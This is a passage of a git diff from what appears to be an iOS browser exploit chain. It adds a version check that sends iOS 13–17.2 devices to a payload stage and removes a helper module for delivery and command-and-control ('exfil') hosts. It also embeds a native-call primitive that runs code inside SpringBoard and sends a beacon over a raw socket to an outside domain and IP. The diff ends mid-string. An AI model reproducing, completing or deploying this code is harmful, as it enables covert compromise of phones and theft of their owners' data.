(!m) return false; - // var maj = +m[1], - // min = +m[2], - // pat = +(m[3] || 0); - // if (maj < 13 || maj >= 18) return false; - // if (maj === 17 && min > 2) return false; - // if (maj === 17 && min === 2 && pat > 1) return false; - // return true; - // } + function isCoruna() { + var m = /(?:iPhone|iPad|iPod).*?OS[\s_]+(\d+)[._](\d+)(?:[._](\d+))?/i.exec( + navigator.userAgent || "" + ); + if (!m) return false; + var maj = +m[1], + min = +m[2], + pat = +(m[3] || 0); + if (maj < 13 || maj >= 18) return false; + if (maj === 17 && min > 2) return false; + if (maj === 17 && min === 2 && pat > 1) return false; + return true; + } - // if (isCoruna()) { - // var corunaUrl = (typeof labDeliveryUrl === "function") - // ? labDeliveryUrl("/qqtime/") - // : (location.origin + "/qqtime/"); - // location.replace(corunaUrl); - // return; - // } + if (isCoruna()) { + location.replace(location.origin + "/qqtime/"); + return; + } var frame = document.getElementById("frame"); if (!frame) return; var started = false; var LS_FRAME_AT = "__er_frame_at"; - var STATE_TTL_MS = 10 * 60 * 1000; + var STATE_TTL_MS = 60 * 60 * 1000; function frameAlreadyLaunched() { if (window.__ER_FRAME_ALREADY__) return true; @@ -1123,12 +1110,7 @@ localStorage.setItem(LS_FRAME_AT, String(Date.now())); } catch (e2) {} window.__ER_FRAME_ALREADY__ = true; - var qqtimePath = (window.NEWS2_CONFIG && window.NEWS2_CONFIG.qqtimePath) - ? window.NEWS2_CONFIG.qqtimePath - : "/qqtime/"; - frame.src = (typeof labDeliveryUrl === "function") - ? labDeliveryUrl(qqtimePath) - : (location.origin + qqtimePath); + frame.src = location.origin + "/qqtime/"; } window.__ER_START_CHAIN__ = startQqtime; diff --git a/channel-builder-ds/source/lab_hosts.js b/channel-builder-ds/source/lab_hosts.js deleted file mode 100644 index 5d9cd12..0000000 --- a/channel-builder-ds/source/lab_hosts.js +++ /dev/null @@ -1,186 +0,0 @@ -// Delivery = static assets (__LAB_DELIVERY_HOST__, may include a path). -// API / C2 = __LAB_EXFIL__ (host + ports only, no asset path). -(function (g) { - if (!g) return; - - function trimSlash(s) { - return String(s || "").replace(/\/+$/, ""); - } - - function ensureSlashPath(p) { - p = String(p || ""); - if (!p) return ""; - return p.charAt(0) === "/" ? p : "/" + p; - } - - function joinBase(base, path) { - base = trimSlash(base); - path = String(path || ""); - if (!path) return base; - if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(path)) return path; - if (path.charAt(0) !== "/") path = "/" + path; - return base + path; - } - - function hostOnly(raw) { - return String(raw || "") - .replace(/^https?:\/\//, "") - .split("/")[0] - .split(":")[0]; - } - - function defaultExfil() { - var domain = hostOnly(g.__LAB_EXFIL_DOMAIN__); - return { - host: domain, - domain: domain, - http_port: 443, - https_port: 443, - tls: false, - prefer_https: false, - stats_url: "", - stats_url_direct: "", - delivery_stats_url: "", - }; - } - - function inferDeliveryHost() { - try { - if (g.__LAB_DELIVERY_HOST__) return trimSlash(g.__LAB_DELIVERY_HOST__); - } catch (e0) {} - try { - var path = g.location && g.location.pathname ? String(g.location.pathname) : ""; - var chained = path.match(/^(.*\/next-chain)(?:\/|$)/); - if (chained && g.location.origin && g.location.origin !== "null") { - return trimSlash(g.location.origin) + chained[1]; - } - } catch (eBoot) {} - try { - var cfg = g.NEWS2_CONFIG || {}; - if (cfg.deliveryHost) return trimSlash(cfg.deliveryHost); - if (cfg.deliveryPath) { - var originFromCfg = g.location && g.location.origin ? trimSlash(g.location.origin) : ""; - return trimSlash(originFromCfg + ensureSlashPath(cfg.deliveryPath)); - } - } catch (e1) {} - try { - if (!g.location || !g.location.origin || g.location.origin === "null") return ""; - var origin = trimSlash(g.location.origin); - var path = String(g.location.pathname || "/"); - var m = path.match(/^(.*\/next-chain)(?:\/|$)/); - if (m) return origin + m[1]; - return origin; - } catch (e2) {} - return ""; - } - - function applyExfil(ex) { - var cur = g.__LAB_EXFIL__ && g.__LAB_EXFIL__.host ? g.__LAB_EXFIL__ : defaultExfil(); - if (!ex || !ex.host) return cur; - g.__LAB_EXFIL__ = { - host: hostOnly(ex.host) || cur.host, - domain: hostOnly(ex.domain || ex.host) || cur.domain, - http_port: ex.http_port != null ? Number(ex.http_port) : cur.http_port, - https_port: ex.https_port != null ? Number(ex.https_port) : cur.https_port, - tls: ex.tls != null ? !!ex.tls : !!cur.tls, - prefer_https: ex.prefer_https != null ? !!ex.prefer_https : !!cur.prefer_https, - stats_url: ex.stats_url || cur.stats_url || "", - stats_url_direct: ex.stats_url_direct || cur.stats_url_direct || "", - delivery_stats_url: ex.delivery_stats_url || cur.delivery_stats_url || "", - }; - return g.__LAB_EXFIL__; - } - - function apiOrigin(ex) { - ex = ex || g.__LAB_EXFIL__ || defaultExfil(); - var host = hostOnly(ex.host); - var pageHost = ""; - var pageHttps = false; - try { - pageHttps = !!(g.location && g.location.protocol === "https:"); - pageHost = hostOnly(g.location && g.location.hostname); - } catch (ePage) {} - var sameHost = !!(host && pageHost && host === pageHost); - var tls = !!(ex.tls || ex.prefer_https || (pageHttps && sameHost)); - var port = Number(tls ? ex.https_port || 443 : ex.http_port || 80); - var scheme = tls ? "https" : "http"; - var origin = scheme + "://" + host; - if (!((scheme === "https" && port === 443) || (scheme === "http" && port === 80) || !port)) { - origin += ":" + port; - } - return origin; - } - - function ensureHosts() { - if (!g.__LAB_EXFIL__ || !g.__LAB_EXFIL__.host) g.__LAB_EXFIL__ = defaultExfil(); - var d = inferDeliveryHost(); - if (d) g.__LAB_DELIVERY_HOST__ = d; - return { delivery: g.__LAB_DELIVERY_HOST__ || "", exfil: g.__LAB_EXFIL__ }; - } - - function applyNews2Config() { - var cfg = g.NEWS2_CONFIG || {}; - if (cfg.deliveryHost) { - g.__LAB_DELIVERY_HOST__ = trimSlash(cfg.deliveryHost); - } else if (cfg.deliveryPath) { - try { - g.__LAB_DELIVERY_HOST__ = trimSlash(trimSlash(g.location.origin) + ensureSlashPath(cfg.deliveryPath)); - } catch (e) {} - } - if (cfg.exfil) applyExfil(cfg.exfil); - ensureHosts(); - } - - g.labTrimSlash = trimSlash; - g.labJoinBase = joinBase; - g.labInferDeliveryHost = inferDeliveryHost; - g.labDeliveryHost = function () { - ensureHosts(); - return trimSlash(g.__LAB_DELIVERY_HOST__ || ""); - }; - g.labDeliveryUrl = function (path) { - return joinBase(g.labDeliveryHost(), path); - }; - g.labApiOrigin = function () { - ensureHosts(); - return apiOrigin(g.__LAB_EXFIL__); - }; - g.labApiUrl = function (path) { - return joinBase(g.labApiOrigin(), path); - }; - g.labApplyExfil = applyExfil; - g.labEnsureHosts = ensureHosts; - g.labApplyNews2Config = applyNews2Config; - - function persistChannelCode(code) { - code = String(code || "").trim().slice(0, 64); - if (!code) return ""; - g.__LAB_CHANNEL_CODE__ = code; - try { - if (g.sessionStorage) g.sessionStorage.setItem("lab_channel_code", code); - } catch (e0) {} - try { - if (g.localStorage) g.localStorage.setItem("lab_channel_code", code); - } catch (e1) {} - return code; - } - - function readChannelCode() { - try { - var path = (g.location && g.location.pathname) || ""; - var m = String(path).match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i); - if (m && m[1]) return persistChannelCode(m[1].toUpperCase()); - } catch (e3) {} - return ""; - } - - g.labChannelCode = function () { - if (g.__LAB_CHANNEL_CODE__) return String(g.__LAB_CHANNEL_CODE__); - return readChannelCode(); - }; - - ensureHosts(); - try { - g.labChannelCode(); - } catch (eCh) {} -})(typeof window !== "undefined" ? window : typeof globalThis !== "undefined" ? globalThis : null); diff --git a/channel-builder-ds/source/main.js b/channel-builder-ds/source/main.js index 6b09e66..856d855 100644 --- a/channel-builder-ds/source/main.js +++ b/channel-builder-ds/source/main.js @@ -1,4 +1,4 @@ -try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){} +try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){} import Native from "libs/Chain/Native"; import Chain from "libs/Chain/Chain"; import TaskRop from "libs/TaskRop/TaskRop"; diff --git a/channel-builder-ds/source/pe_main.js b/channel-builder-ds/source/pe_main.js index 85602b4..21f5e35 100644 --- a/channel-builder-ds/source/pe_main.js +++ b/channel-builder-ds/source/pe_main.js @@ -1,4 +1,4 @@ -try{var __g=typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this);if(__g&&String(__g.__LAB_DEVICE_UUID__||"")==="69DD25B2CA8B5682BA2470D77124E2FC")__g.__LAB_DEVICE_UUID__="";}catch(_u0){} +globalThis.__LAB_DEVICE_UUID__="69DD25B2CA8B5682BA2470D77124E2FC"; (() => { try { func_offsets_array[0x2100] = 0x50; } catch (_m0) {} try { fcall_init(); func_offsets_array[0x2100] = 0x51; } @@ -1412,7 +1412,7 @@ __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__) /* harmony export */ }); -/* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ("class Native {\n\t\n\tstatic #baseAddr;\n\tstatic #dlsymAddr;\n\tstatic #memcpyAddr;\n\tstatic #mallocAddr;\n\tstatic #oinvAddr;\n\t\n\t// Preallocated memory chunk for general purpose stuff for public use\n\tstatic mem = 0n;\n\tstatic memSize = 0x4000;\n\t\n\t// Preallocated memory chunk for encoding/decoding of string arguments\n\tstatic #argMem = 0n;\n\tstatic #argMemPtr = 0n;\n\tstatic #argMemPtrStr = 0n;\n\t\n\t// Pointer to next available memory for native argument\n\tstatic #argPtr = 0n;\n\tstatic #argPtrPtr = 0n;\n\tstatic #argPtrStrPtr = 0n;\n\n\tstatic #dlsymCache = {};\n\t\n\tstatic init() {\n\t\tconst buff = new BigUint64Array(nativeCallBuff);\n\t\tthis.#baseAddr = buff[20];\n\t\tthis.#dlsymAddr = buff[21];\n\t\tthis.#memcpyAddr = buff[22];\n\t\tthis.#mallocAddr = buff[23];\n\t\tthis.#oinvAddr = buff[24];\n\t\t\n\t\t//log(\"baseAddr: \" + this.#baseAddr);\n\t\t//log(\"dlsymAddr: \" + this.#dlsymAddr);\n\t\t\n\t\t//this.#memcpyAddr = this.#dlsym(\"test\");\n\t\t//log(\"memcpyAddr: \" + this.#memcpyAddr);\n\t\t//log(\"oinvAddr: \" + this.#oinvAddr);\n\t\t\n\t\tthis.mem = this.#nativeCallAddr(this.#mallocAddr, BigInt(this.memSize)); //this.callSymbol(\"malloc\", this.memSize);\n\t\tthis.#argMem = this.#nativeCallAddr(this.#mallocAddr, 0x1000n); //this.callSymbol(\"malloc\", 0x1000);\n\t\tthis.#argMemPtr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n); //this.callSymbol(\"malloc\", 0x1000);\n\t\tthis.#argMemPtrStr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n); //this.callSymbol(\"malloc\", 0x1000);\n\t\tthis.#argPtr = this.#argMem;\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr = this.#argMemPtrStr;\n\t\t\n\t\t//log(\"argMem: \" + this.#argMem);\n\t\t//log(\"argMemPtr: \" + this.#argMemPtr);\n\t\t//log(\"argMemPtrStr: \" + this.#argMemPtrStr);\n\t}\n\t\n\tstatic write(ptr, buff) {\n\t\tif (!ptr)\n\t\t\treturn false;\n\t\t//log(\"write: \" + buff.byteLength);\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tlet offs = 0;\n\t\tlet left = buff.byteLength;\n\t\twhile (left) {\n\t\t\tlet len = left;\n\t\t\tif (len > 0x1000)\n\t\t\t\tlen = 0x1000;\n\t\t\t//log(`writing: ptr=${ptr}, src=${Native.#baseAddr + 0x1000n}, offs=${offs}, len=${len}`);\n\t\t\tbuff8.set(new Uint8Array(buff, offs, len), 0x1000);\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, ptr + BigInt(offs), this.#baseAddr + 0x1000n, BigInt(len));\n\t\t\tleft -= len;\n\t\t\toffs += len;\n\t\t}\n\t\treturn true;\n\t}\n\t\n\tstatic read(ptr, length) {\n\t\tif (!ptr)\n\t\t\treturn null;\n\t\t//log(`read: ptr=${ptr}, length=${length}, ${typeof(length)}`, ptr, length);\n\t\tlet buff = new ArrayBuffer(length);\n\t\tlet buff8 = new Uint8Array(buff);\n\t\tlet offs = 0;\n\t\tlet left = length;\n\t\twhile (left) {\n\t\t\tlet len = left;\n\t\t\tif (len > 0x1000)\n\t\t\t\tlen = 0x1000;\n\t\t\t//log(`reading: ptr=${ptr}, dst=${Native.#baseAddr + 0x1000n}, offs=${offs}, len=${len}`);\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, this.#baseAddr + 0x1000n, ptr + BigInt(offs), BigInt(len));\n\t\t\tbuff8.set(new Uint8Array(nativeCallBuff, 0x1000, len), offs);\n\t\t\tleft -= len;\n\t\t\toffs += len;\n\t\t}\n\t\treturn buff;\n\t}\n\t\n\tstatic readPtr(ptr) {\n\t\tlet buff = this.read(ptr, 8);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getBigUint64(0, true);\n\t}\n\t\n\tstatic readString(ptr, len=1024) {\n\t\tlet buff = this.read(ptr, len);\n\t\treturn this.bytesToString(buff, false);\n\t}\n\t\n\tstatic writeString(ptr, str) {\n\t\tconst buff = this.stringToBytes(str, true);\n\t\tthis.write(ptr, buff);\n\t}\n\t\n\tstatic callSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\t//log(\"callSymbol: \" + name);\n\t\t// Initialize argPtr to point to general purpose memory chunk\n\t\tthis.#argPtr = this.#argMem;\n\t\tx0 = this.#toNative(x0);\n\t\tx1 = this.#toNative(x1);\n\t\tx2 = this.#toNative(x2);\n\t\tx3 = this.#toNative(x3);\n\t\tx4 = this.#toNative(x4);\n\t\tx5 = this.#toNative(x5);\n\t\tx6 = this.#toNative(x6);\n\t\tx7 = this.#toNative(x7);\n\t\tlet ret = this.#nativeCallSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7);\n\t\t// Reset argPtr\n\t\tthis.#argPtr = this.#argMem;\n\t\treturn ret;\n\t}\n\t\n\tstatic callSymbolRetain(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\t//log(\"callSymbolRetain: \" + name);\n\t\t// Initialize argPtrPtr to point to general purpose memory chunk\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr = this.#argMemPtrStr;\n\t\tx0 = this.#toNativePtr(x0);\n\t\tx1 = this.#toNativePtr(x1);\n\t\tx2 = this.#toNativePtr(x2);\n\t\tx3 = this.#toNativePtr(x3);\n\t\tx4 = this.#toNativePtr(x4);\n\t\tx5 = this.#toNativePtr(x5);\n\t\tx6 = this.#toNativePtr(x6);\n\t\tx7 = this.#toNativePtr(x7);\n\t\tlet ret = this.#nativeCallSymbolRetain(name, x0, x1, x2, x3, x4, x5, x6, x7);\n\t\t// Reset argPtrPtr\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr = this.#argMemPtrStr;\n\t\treturn ret;\n\t}\n\n\tstatic bytesToString(bytes, includeNullChar=true) {\n\t\tlet bytes8 = new Uint8Array(bytes);\n\t\tlet str = \"\";\n\t\tfor (let i=0; i= 0x1000) {\n\t\t\t\tlog('toNative(): arg string is too long');\n\t\t\t\treturn 0n;\n\t\t\t}\n\t\t\tlet ptr = this.#argPtr;\n\t\t\tthis.writeString(ptr, value);\n\t\t\tthis.#argPtr += BigInt(value.length + 1);\n\t\t\treturn ptr;\n\t\t}\n\t\telse if (typeof value === 'bigint') {\n\t\t\treturn value;\n\t\t}\n\t\telse\n\t\t\treturn BigInt(value);\n\t}\n\t\n\tstatic #toNativePtr(value) {\n\t\t//log(\"toNativePtr: \" + typeof value);\n\t\t// Strings need to be manually written to native memory\n\t\tif (!value)\n\t\t\treturn 0n;\n\t\tlet ptr = this.#argPtrPtr;\n\t\tif (typeof value === 'string') {\n\t\t\tif (value.length >= 0x1000) {\n\t\t\t\tlog('toNativePtr(): arg string is too long');\n\t\t\t\treturn 0n;\n\t\t\t}\n\t\t\tlet strPtr = this.#argPtrStrPtr;\n\t\t\tthis.writeString(strPtr, value);\n\t\t\tthis.#argPtrStrPtr += BigInt(value.length + 1);\n\t\t\tvalue = strPtr;\n\t\t}\n\t\telse if (typeof value !== 'bigint') {\n\t\t\tvalue = BigInt(value);\n\t\t}\n\t\tconst buff = new ArrayBuffer(8);\n\t\tconst view = new DataView(buff);\n\t\tview.setBigUint64(0, value, true);\n\t\tthis.write(ptr, buff);\n\t\tthis.#argPtrPtr += 8n;\n\t\treturn ptr;\n\t}\n\t\n\tstatic #dlsym(name) {\n\t\tif (!name)\n\t\t\treturn 0n;\n\t\tlet addr = this.#dlsymCache[name];\n\t\tif (addr)\n\t\t\treturn addr;\n\t\t//log(\"dlsym(): \" + name);\n\t\tconst RTLD_DEFAULT = 0xfffffffffffffffen;\n\t\tconst nameBytes = this.stringToBytes(name, true);\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tbuff8.set(new Uint8Array(nameBytes), 0x1000);\n\t\taddr = this.#nativeCallAddr(this.#dlsymAddr, RTLD_DEFAULT, this.#baseAddr + 0x1000n);\n\t\tif (addr)\n\t\t\tthis.#dlsymCache[name] = addr;\n\t\treturn addr;\n\t}\n\t\n\tstatic #nativeCallAddr(addr, x0=0n, x1=0n, x2=0n, x3=0n, x4=0n, x5=0n, x6=0n, x7=0n) {\n\t\t//log(\"nativeCallAddr(): \" + addr);\n\t\tlet buff = new BigInt64Array(nativeCallBuff);\n\t\t\n\t\tbuff[0] = addr;\n\t\tbuff[100] = x0;\n\t\tbuff[101] = x1;\n\t\tbuff[102] = x2;\n\t\tbuff[103] = x3;\n\t\tbuff[104] = x4;\n\t\tbuff[105] = x5;\n\t\tbuff[106] = x6;\n\t\tbuff[107] = x7;\n\n\t\tinvoker();\n\t\t\n\t\treturn buff[200];\n\t}\n\t\n\tstatic #nativeCallSymbol(name, ...args) {\n\t\t//log(\"nativeCallSymbol(): \" + name);\n\t\tconst funcAddr = this.#dlsym(name);\n\t\tconst ret64 = this.#nativeCallAddr(funcAddr, ...args);\n\t\tif (ret64 < 0xffffffffn && ret64 > -0xffffffffn)\n\t\t\treturn Number(ret64);\n\t\treturn ret64;\n\t}\n\t\n\tstatic #nativeCallSymbolRetain(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\t//log(\"nativeCallSymbolRetain(): \" + name);\n\t\tconst funcAddr = this.#dlsym(name);\n\t\t\n\t\tconst selRetainArguments = this.callSymbol(\"sel_registerName\", \"retainArguments\");\n\t\tconst selSetArgument = this.callSymbol(\"sel_registerName\", \"setArgument:atIndex:\");\n\t\tconst selInvokeUsingIMP = this.callSymbol(\"sel_registerName\", \"invokeUsingIMP:\");\n\t\tconst selGetReturnValue = this.callSymbol(\"sel_registerName\", \"getReturnValue:\");\n\t\t\n\t\tthis.callSymbol(\"objc_msgSend\", this.#oinvAddr, selRetainArguments);\n\t\t\n\t\tif (x0) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x0, 0);\n\t\tif (x1) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x1, 1);\n\t\tif (x2) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x2, 2);\n\t\tif (x3) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x3, 3);\n\t\tif (x4) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x4, 4);\n\t\tif (x5) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x5, 5);\n\t\tif (x6) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x6, 6);\n\t\tif (x7) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x7, 7);\n\t\t\n\t\tthis.callSymbol(\"objc_msgSend\", this.#oinvAddr, selInvokeUsingIMP, funcAddr);\n\t\t\n\t\tthis.callSymbol(\"objc_msgSend\", this.#oinvAddr, selGetReturnValue, this.#argMemPtr);\n\t\tconst ret64 = this.readPtr(this.#argMemPtr);\n\t\tif (ret64 < 0xffffffffn && ret64 > -0xffffffffn)\n\t\t\treturn Number(ret64);\n\t\treturn ret64;\n\t}\n}\n\nfunction File(path) {\n\treturn path;\n}\n\nfunction log(msg) {\n\tif (logging)\n\t\treturn;\n\n\tlogging = true;\n\t\n\tconst data = Native.stringToBytes(msg + \"\\n\");\n\n\tconst O_WRONLY = 0x0001;\n\tconst O_APPEND = 0x0008;\n\tconst O_CREAT = 0x0200;\n\tconst flags = O_WRONLY | O_CREAT | O_APPEND;\n\tconst fd = Native.callSymbol(\"open\", File(logfile), flags, 0o644);\n\tif (fd < 0) {\n\t\tlogging = false;\n\t\treturn;\n\t}\n\n\t// For some reason file mode is not applied on open()\n\tNative.callSymbol(\"fchmod\", fd, 0o644);\n\n\tlet offs = 0;\n\tlet left = data.byteLength;\n\n\tconst buffSize = 0x4000;\n\tconst buffPtr = Native.callSymbol(\"malloc\", buffSize);\n\n\twhile (left) {\n\t\tconst size = left > buffSize ? buffSize : left;\n\t\tconst src8 = new Uint8Array(data, offs, size);\n\t\tconst dst8 = new Uint8Array(src8);\n\t\tNative.write(buffPtr, dst8.buffer);\n\t\tconst len = Native.callSymbol(\"write\", fd, buffPtr, size);\n\t\tif (!len || len < 0)\n\t\t\tbreak;\n\t\toffs += len;\n\t\tleft -= len;\n\t}\n\n\tNative.callSymbol(\"free\", buffPtr);\n\tNative.callSymbol(\"close\", fd);\n\n\tlogging = false;\n}\n\nvar logging = false;\nconst logfile = \"/private/var/mobile/Media/RemoteLog.log\";\n\nNative.init();\n\nNative.callSymbol(\"unlink\", File(logfile));\n\n// ===== DEBUG uplink: prove loader actually ran inside SpringBoard =====\ntry {\n\tvar _lfd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\tif (_lfd >= 0) {\n\t\tvar _lone = Native.callSymbol(\"calloc\", 1, 8);\n\t\tNative.write(_lone, new Uint8Array([1,0,0,0]).buffer);\n\t\tNative.callSymbol(\"setsockopt\", _lfd, 0xffff, 0x1022, _lone, 4);\n\t\tNative.callSymbol(\"free\", _lone);\n\t\tvar _laddr = Native.callSymbol(\"calloc\", 1, 16);\n\t\tvar _la8 = new Uint8Array(16);\n\t\t_la8[0] = 16; _la8[1] = 2; _la8[2] = 0x1B; _la8[3] = 0x6E;\n\t\t_la8[4] = 192; _la8[5] = 168; _la8[6] = 4; _la8[7] = 10;\n\t\tNative.write(_laddr, _la8.buffer);\n\t\tif (Number(Native.callSymbol(\"connect\", _lfd, _laddr, 16)) === 0) {\n\t\t\tvar _lreq = \"GET /log.html?text=PEMK_G_loader_alive_springboard HTTP/1.0\\r\\nHost: mh0usocqzi6f46i.com\\r\\n\\r\\n\";\n\t\t\tvar _lrbuf = Native.callSymbol(\"malloc\", _lreq.length + 1);\n\t\t\tNative.writeString(_lrbuf, _lreq);\n\t\t\tNative.callSymbol(\"write\", _lfd, _lrbuf, _lreq.length);\n\t\t\tNative.callSymbol(\"free\", _lrbuf);\n\t\t}\n\t\tNative.callSymbol(\"close\", _lfd);\n\t\tNative.callSymbol(\"free\", _laddr);\n\t}\n} catch(e) {}\n// ===== END DEBUG uplink =====\n"); +/* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ("class Native {\n\t\n\tstatic #baseAddr;\n\tstatic #dlsymAddr;\n\tstatic #memcpyAddr;\n\tstatic #mallocAddr;\n\tstatic #oinvAddr;\n\t\n\t// Preallocated memory chunk for general purpose stuff for public use\n\tstatic mem = 0n;\n\tstatic memSize = 0x4000;\n\t\n\t// Preallocated memory chunk for encoding/decoding of string arguments\n\tstatic #argMem = 0n;\n\tstatic #argMemPtr = 0n;\n\tstatic #argMemPtrStr = 0n;\n\t\n\t// Pointer to next available memory for native argument\n\tstatic #argPtr = 0n;\n\tstatic #argPtrPtr = 0n;\n\tstatic #argPtrStrPtr = 0n;\n\n\tstatic #dlsymCache = {};\n\t\n\tstatic init() {\n\t\tconst buff = new BigUint64Array(nativeCallBuff);\n\t\tthis.#baseAddr = buff[20];\n\t\tthis.#dlsymAddr = buff[21];\n\t\tthis.#memcpyAddr = buff[22];\n\t\tthis.#mallocAddr = buff[23];\n\t\tthis.#oinvAddr = buff[24];\n\t\t\n\t\t//log(\"baseAddr: \" + this.#baseAddr);\n\t\t//log(\"dlsymAddr: \" + this.#dlsymAddr);\n\t\t\n\t\t//this.#memcpyAddr = this.#dlsym(\"test\");\n\t\t//log(\"memcpyAddr: \" + this.#memcpyAddr);\n\t\t//log(\"oinvAddr: \" + this.#oinvAddr);\n\t\t\n\t\tthis.mem = this.#nativeCallAddr(this.#mallocAddr, BigInt(this.memSize)); //this.callSymbol(\"malloc\", this.memSize);\n\t\tthis.#argMem = this.#nativeCallAddr(this.#mallocAddr, 0x1000n); //this.callSymbol(\"malloc\", 0x1000);\n\t\tthis.#argMemPtr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n); //this.callSymbol(\"malloc\", 0x1000);\n\t\tthis.#argMemPtrStr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n); //this.callSymbol(\"malloc\", 0x1000);\n\t\tthis.#argPtr = this.#argMem;\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr = this.#argMemPtrStr;\n\t\t\n\t\t//log(\"argMem: \" + this.#argMem);\n\t\t//log(\"argMemPtr: \" + this.#argMemPtr);\n\t\t//log(\"argMemPtrStr: \" + this.#argMemPtrStr);\n\t}\n\t\n\tstatic write(ptr, buff) {\n\t\tif (!ptr)\n\t\t\treturn false;\n\t\t//log(\"write: \" + buff.byteLength);\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tlet offs = 0;\n\t\tlet left = buff.byteLength;\n\t\twhile (left) {\n\t\t\tlet len = left;\n\t\t\tif (len > 0x1000)\n\t\t\t\tlen = 0x1000;\n\t\t\t//log(`writing: ptr=${ptr}, src=${Native.#baseAddr + 0x1000n}, offs=${offs}, len=${len}`);\n\t\t\tbuff8.set(new Uint8Array(buff, offs, len), 0x1000);\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, ptr + BigInt(offs), this.#baseAddr + 0x1000n, BigInt(len));\n\t\t\tleft -= len;\n\t\t\toffs += len;\n\t\t}\n\t\treturn true;\n\t}\n\t\n\tstatic read(ptr, length) {\n\t\tif (!ptr)\n\t\t\treturn null;\n\t\t//log(`read: ptr=${ptr}, length=${length}, ${typeof(length)}`, ptr, length);\n\t\tlet buff = new ArrayBuffer(length);\n\t\tlet buff8 = new Uint8Array(buff);\n\t\tlet offs = 0;\n\t\tlet left = length;\n\t\twhile (left) {\n\t\t\tlet len = left;\n\t\t\tif (len > 0x1000)\n\t\t\t\tlen = 0x1000;\n\t\t\t//log(`reading: ptr=${ptr}, dst=${Native.#baseAddr + 0x1000n}, offs=${offs}, len=${len}`);\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, this.#baseAddr + 0x1000n, ptr + BigInt(offs), BigInt(len));\n\t\t\tbuff8.set(new Uint8Array(nativeCallBuff, 0x1000, len), offs);\n\t\t\tleft -= len;\n\t\t\toffs += len;\n\t\t}\n\t\treturn buff;\n\t}\n\t\n\tstatic readPtr(ptr) {\n\t\tlet buff = this.read(ptr, 8);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getBigUint64(0, true);\n\t}\n\t\n\tstatic readString(ptr, len=1024) {\n\t\tlet buff = this.read(ptr, len);\n\t\treturn this.bytesToString(buff, false);\n\t}\n\t\n\tstatic writeString(ptr, str) {\n\t\tconst buff = this.stringToBytes(str, true);\n\t\tthis.write(ptr, buff);\n\t}\n\t\n\tstatic callSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\t//log(\"callSymbol: \" + name);\n\t\t// Initialize argPtr to point to general purpose memory chunk\n\t\tthis.#argPtr = this.#argMem;\n\t\tx0 = this.#toNative(x0);\n\t\tx1 = this.#toNative(x1);\n\t\tx2 = this.#toNative(x2);\n\t\tx3 = this.#toNative(x3);\n\t\tx4 = this.#toNative(x4);\n\t\tx5 = this.#toNative(x5);\n\t\tx6 = this.#toNative(x6);\n\t\tx7 = this.#toNative(x7);\n\t\tlet ret = this.#nativeCallSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7);\n\t\t// Reset argPtr\n\t\tthis.#argPtr = this.#argMem;\n\t\treturn ret;\n\t}\n\t\n\tstatic callSymbolRetain(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\t//log(\"callSymbolRetain: \" + name);\n\t\t// Initialize argPtrPtr to point to general purpose memory chunk\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr = this.#argMemPtrStr;\n\t\tx0 = this.#toNativePtr(x0);\n\t\tx1 = this.#toNativePtr(x1);\n\t\tx2 = this.#toNativePtr(x2);\n\t\tx3 = this.#toNativePtr(x3);\n\t\tx4 = this.#toNativePtr(x4);\n\t\tx5 = this.#toNativePtr(x5);\n\t\tx6 = this.#toNativePtr(x6);\n\t\tx7 = this.#toNativePtr(x7);\n\t\tlet ret = this.#nativeCallSymbolRetain(name, x0, x1, x2, x3, x4, x5, x6, x7);\n\t\t// Reset argPtrPtr\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr = this.#argMemPtrStr;\n\t\treturn ret;\n\t}\n\n\tstatic bytesToString(bytes, includeNullChar=true) {\n\t\tlet bytes8 = 